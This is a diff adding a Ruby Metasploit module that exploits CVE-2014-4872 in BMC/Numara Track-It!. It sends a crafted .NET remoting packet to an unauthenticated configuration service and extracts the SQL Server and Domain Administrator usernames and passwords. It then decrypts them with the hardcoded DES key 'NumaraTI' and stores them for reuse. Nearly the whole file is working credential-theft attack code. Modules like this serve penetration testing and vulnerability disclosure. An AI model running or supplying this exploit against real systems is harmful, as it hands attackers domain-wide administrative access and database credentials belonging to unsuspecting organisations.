|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'openssl' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unauthenticated configuration retrieval .NET remoting |
| 19 | + service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain |
| 20 | + Administrator and the SQL server user credentials. |
| 21 | + This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, |
| 22 | + 10.0.0.143 and 9.0.30.248. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2014-4872' ], |
| 32 | + [ 'OSVDB', '112741' ], |
| 33 | + [ 'US-CERT-VU', '121036' ], |
| 34 | + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ], |
| 35 | + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Oct 7 2014' |
| 38 | + )) |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + OptPort.new('RPORT', |
| 42 | + [true, '.NET remoting service port', 9010]) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + |
| 47 | + def prepare_packet(bmc) |
| 48 | + # |
| 49 | + # ConfigurationService packet structure: |
| 50 | + # |
| 51 | + # packet_header_pre_packet_size |
| 52 | + # packet_size (4 bytes) |
| 53 | + # packet_header_pre_uri_size |
| 54 | + # uri_size (2 bytes) |
| 55 | + # packet_header_pre_uri |
| 56 | + # uri |
| 57 | + # packet_header_post_uri |
| 58 | + # packet_body_start_pre_method_size |
| 59 | + # method_size (1 byte) |
| 60 | + # method |
| 61 | + # packet_body_pre_type_size |
| 62 | + # type_size (1 byte) |
| 63 | + # packet_body_pre_type |
| 64 | + # type |
| 65 | + # @packet_terminator |
| 66 | + # |
| 67 | + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx |
| 68 | + # |
| 69 | + # P.S.: Lots of fun stuff can be obtained from the response. Highlights include: |
| 70 | + # - DatabaseServerName |
| 71 | + # - DatabaseName |
| 72 | + # - SchemaOwnerDatabaseUser |
| 73 | + # - EncryptedSystemDatabasePassword |
| 74 | + # - DomainAdminUserName |
| 75 | + # - DomainAdminEncryptedPassword |
| 76 | + # |
| 77 | + packet_header_pre_packet_size= [ |
| 78 | + 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, |
| 79 | + 0x00, 0x00 |
| 80 | + ] |
| 81 | + |
| 82 | + packet_header_pre_uri_size = [ |
| 83 | + 0x04, 0x00, 0x01, 0x01 |
| 84 | + ] |
| 85 | + |
| 86 | + packet_header_pre_uri = [ |
| 87 | + 0x00, 0x00 |
| 88 | + ] |
| 89 | + |
| 90 | + # contains binary type (application/octet-stream) |
| 91 | + packet_header_post_uri = [ |
| 92 | + 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, |
| 93 | + 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, |
| 94 | + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, |
| 95 | + 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, |
| 96 | + 0x00, 0x00 |
| 97 | + ] |
| 98 | + |
| 99 | + packet_body_start_pre_method_size = [ |
| 100 | + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 101 | + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 102 | + 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 |
| 103 | + ] |
| 104 | + |
| 105 | + packet_body_pre_type_size = [ 0x12 ] |
| 106 | + |
| 107 | + packet_body_pre_type = [ 0x01 ] |
| 108 | + |
| 109 | + @packet_terminator = [ 0x0b ] |
| 110 | + |
| 111 | + service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) |
| 112 | + method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) |
| 113 | + type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt")) |
| 114 | + |
| 115 | + uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service |
| 116 | + |
| 117 | + packet_size = |
| 118 | + packet_header_pre_uri_size.length + |
| 119 | + 2 + # uri_size |
| 120 | + packet_header_pre_uri.length + |
| 121 | + uri.length + |
| 122 | + packet_header_post_uri.length + |
| 123 | + packet_body_start_pre_method_size.length + |
| 124 | + 1 + # method_size |
| 125 | + method.length + |
| 126 | + packet_body_pre_type_size.length + |
| 127 | + 1 + # type_size |
| 128 | + packet_body_pre_type.length + |
| 129 | + type.length |
| 130 | + |
| 131 | + # start of packet and packet size (4 bytes) |
| 132 | + buf = packet_header_pre_packet_size.pack('C*') |
| 133 | + buf << Array(packet_size).pack('L*') |
| 134 | + |
| 135 | + # uri size (2 bytes) |
| 136 | + buf << packet_header_pre_uri_size.pack('C*') |
| 137 | + buf << Array(uri.length).pack('S*') |
| 138 | + |
| 139 | + # uri |
| 140 | + buf << packet_header_pre_uri.pack('C*') |
| 141 | + buf << uri.bytes.to_a.pack('C*') |
| 142 | + buf << packet_header_post_uri.pack('C*') |
| 143 | + |
| 144 | + # method name |
| 145 | + buf << packet_body_start_pre_method_size.pack('C*') |
| 146 | + buf << Array(method.length).pack('C*') |
| 147 | + buf << method.bytes.to_a.pack('C*') |
| 148 | + |
| 149 | + # type name |
| 150 | + buf << packet_body_pre_type_size.pack('C*') |
| 151 | + buf << Array(type.length).pack('C*') |
| 152 | + buf << packet_body_pre_type.pack('C*') |
| 153 | + buf << type.bytes.to_a.pack('C*') |
| 154 | + |
| 155 | + buf << @packet_terminator.pack('C*') |
| 156 | + |
| 157 | + return buf |
| 158 | + end |
| 159 | + |
| 160 | + |
| 161 | + def fill_loot_from_packet(packet_reply, loot) |
| 162 | + loot.each_key { |str| |
| 163 | + if loot[str] != nil |
| 164 | + next |
| 165 | + end |
| 166 | + if (index = (packet_reply.index(str))) != nil |
| 167 | + # after str, discard 5 bytes then get str_value |
| 168 | + size = packet_reply[index + str.length + 5,1].unpack('C*')[0] |
| 169 | + if size == 255 |
| 170 | + # if we received 0xFF then there is no value for this str |
| 171 | + # set it to empty but not nil so that we don't look for it again |
| 172 | + loot[str] = "" |
| 173 | + next |
| 174 | + end |
| 175 | + loot[str] = packet_reply[index + str.length + 6, size] |
| 176 | + end |
| 177 | + } |
| 178 | + end |
| 179 | + |
| 180 | + |
| 181 | + def run |
| 182 | + packet = prepare_packet(true) |
| 183 | + |
| 184 | + sock = connect |
| 185 | + if sock.nil? |
| 186 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") |
| 187 | + else |
| 188 | + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") |
| 189 | + end |
| 190 | + sock.write(packet) |
| 191 | + |
| 192 | + # type of database (Oracle or SQL Server) |
| 193 | + database_type = "DatabaseType" |
| 194 | + # Database server name (host\sid for Oracle or host\login_name for SQL Server) |
| 195 | + database_server_name = "DatabaseServerName" |
| 196 | + database_name = "DatabaseName" |
| 197 | + schema_owner = "SchemaOwnerDatabaseUser" |
| 198 | + database_pw = "EncryptedSystemDatabasePassword" |
| 199 | + domain_admin_name = "DomainAdminUserName" |
| 200 | + domain_admin_pw = "DomainAdminEncryptedPassword" |
| 201 | + |
| 202 | + loot = { |
| 203 | + database_type => nil, |
| 204 | + database_server_name => nil, |
| 205 | + database_name => nil, |
| 206 | + schema_owner => nil, |
| 207 | + database_pw => nil, |
| 208 | + domain_admin_name => nil, |
| 209 | + domain_admin_pw => nil |
| 210 | + } |
| 211 | + |
| 212 | + # We only break when we have a timeout (up to 15 seconds wait) or have all we need |
| 213 | + while true |
| 214 | + ready = IO.select([sock], nil, nil, 15) |
| 215 | + if ready |
| 216 | + packet_reply = sock.readpartial(4096) |
| 217 | + else |
| 218 | + print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.") |
| 219 | + break |
| 220 | + end |
| 221 | + if packet_reply =~ /Service not found/ |
| 222 | + # This is most likely an older Numara version, re-do the packet and send again. |
| 223 | + print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...") |
| 224 | + sock.close |
| 225 | + sock = connect |
| 226 | + if sock.nil? |
| 227 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") |
| 228 | + else |
| 229 | + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") |
| 230 | + end |
| 231 | + packet = prepare_packet(false) |
| 232 | + sock.write(packet) |
| 233 | + packet_reply = sock.readpartial(4096) |
| 234 | + end |
| 235 | + |
| 236 | + fill_loot_from_packet(packet_reply, loot) |
| 237 | + |
| 238 | + if not loot.has_value?(nil) |
| 239 | + break |
| 240 | + end |
| 241 | + end |
| 242 | + sock.close |
| 243 | + |
| 244 | + # now set the values that were not found back to nil |
| 245 | + loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) } |
| 246 | + |
| 247 | + if loot[database_type] |
| 248 | + print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}") |
| 249 | + end |
| 250 | + |
| 251 | + if loot[database_server_name] |
| 252 | + print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}") |
| 253 | + end |
| 254 | + |
| 255 | + if loot[database_name] |
| 256 | + print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}") |
| 257 | + end |
| 258 | + |
| 259 | + if loot[schema_owner] |
| 260 | + print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}") |
| 261 | + end |
| 262 | + |
| 263 | + if loot[database_pw] |
| 264 | + cipher = OpenSSL::Cipher::Cipher.new("des") |
| 265 | + cipher.decrypt |
| 266 | + cipher.key = 'NumaraTI' |
| 267 | + cipher.iv = 'NumaraTI' |
| 268 | + loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw])) |
| 269 | + loot[database_pw] << cipher.final |
| 270 | + print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}") |
| 271 | + end |
| 272 | + |
| 273 | + if loot[domain_admin_name] |
| 274 | + print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}") |
| 275 | + end |
| 276 | + |
| 277 | + if loot[domain_admin_pw] |
| 278 | + cipher = OpenSSL::Cipher::Cipher.new("des") |
| 279 | + cipher.decrypt |
| 280 | + cipher.key = 'NumaraTI' |
| 281 | + cipher.iv = 'NumaraTI' |
| 282 | + loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw])) |
| 283 | + loot[domain_admin_pw] << cipher.final |
| 284 | + print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}") |
| 285 | + end |
| 286 | + |
| 287 | + if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name] |
| 288 | + # If it is Oracle we need to save the SID for creating the Credential Core, else we don't care |
| 289 | + if loot[database_type] =~ /Oracle/i |
| 290 | + sid = loot[database_server_name].split('\\')[1] |
| 291 | + else |
| 292 | + sid = nil |
| 293 | + end |
| 294 | + |
| 295 | + credential_core = report_credential_core({ |
| 296 | + password: loot[database_pw], |
| 297 | + username: loot[schema_owner], |
| 298 | + sid: sid |
| 299 | + }) |
| 300 | + |
| 301 | + # Get just the hostname |
| 302 | + db_address= loot[database_server_name].split('\\')[0] |
| 303 | + |
| 304 | + begin |
| 305 | + database_login_data = { |
| 306 | + address: ::Rex::Socket.getaddress(db_address, true), |
| 307 | + service_name: loot[database_type], |
| 308 | + protocol: 'tcp', |
| 309 | + workspace_id: myworkspace_id, |
| 310 | + core: credential_core, |
| 311 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 312 | + } |
| 313 | + |
| 314 | + # If it's Oracle, use the Oracle port, else use MSSQL |
| 315 | + if loot[database_type] =~ /Oracle/i |
| 316 | + database_login_data[:port] = 1521 |
| 317 | + else |
| 318 | + database_login_data[:port] = 1433 |
| 319 | + end |
| 320 | + create_credential_login(database_login_data) |
| 321 | + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname |
| 322 | + rescue SocketError |
| 323 | + print_error "Could not resolve Database Server Hostname." |
| 324 | + end |
| 325 | + |
| 326 | + print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}") |
| 327 | + end |
| 328 | + |
| 329 | + if loot[domain_admin_name] and loot[domain_admin_pw] |
| 330 | + report_credential_core({ |
| 331 | + password: loot[domain_admin_pw], |
| 332 | + username: loot[domain_admin_name].split('\\')[1], |
| 333 | + domain: loot[domain_admin_name].split('\\')[0] |
| 334 | + }) |
| 335 | + |
| 336 | + print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}") |
| 337 | + end |
| 338 | + end |
| 339 | + |
| 340 | + |
| 341 | + def report_credential_core(cred_opts={}) |
| 342 | + # Set up the has for our Origin service |
| 343 | + origin_service_data = { |
| 344 | + address: rhost, |
| 345 | + port: rport, |
| 346 | + service_name: 'Domain', |
| 347 | + protocol: 'tcp', |
| 348 | + workspace_id: myworkspace_id |
| 349 | + } |
| 350 | + |
| 351 | + credential_data = { |
| 352 | + origin_type: :service, |
| 353 | + module_fullname: self.fullname, |
| 354 | + private_type: :password, |
| 355 | + private_data: cred_opts[:password], |
| 356 | + username: cred_opts[:username] |
| 357 | + } |
| 358 | + |
| 359 | + if cred_opts[:domain] |
| 360 | + credential_data.merge!({ |
| 361 | + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, |
| 362 | + realm_value: cred_opts[:domain] |
| 363 | + }) |
| 364 | + elsif cred_opts[:sid] |
| 365 | + credential_data.merge!({ |
| 366 | + realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER, |
| 367 | + realm_value: cred_opts[:sid] |
| 368 | + }) |
| 369 | + end |
| 370 | + |
| 371 | + credential_data.merge!(origin_service_data) |
| 372 | + create_credential(credential_data) |
| 373 | + end |
| 374 | +end |
0 commit comments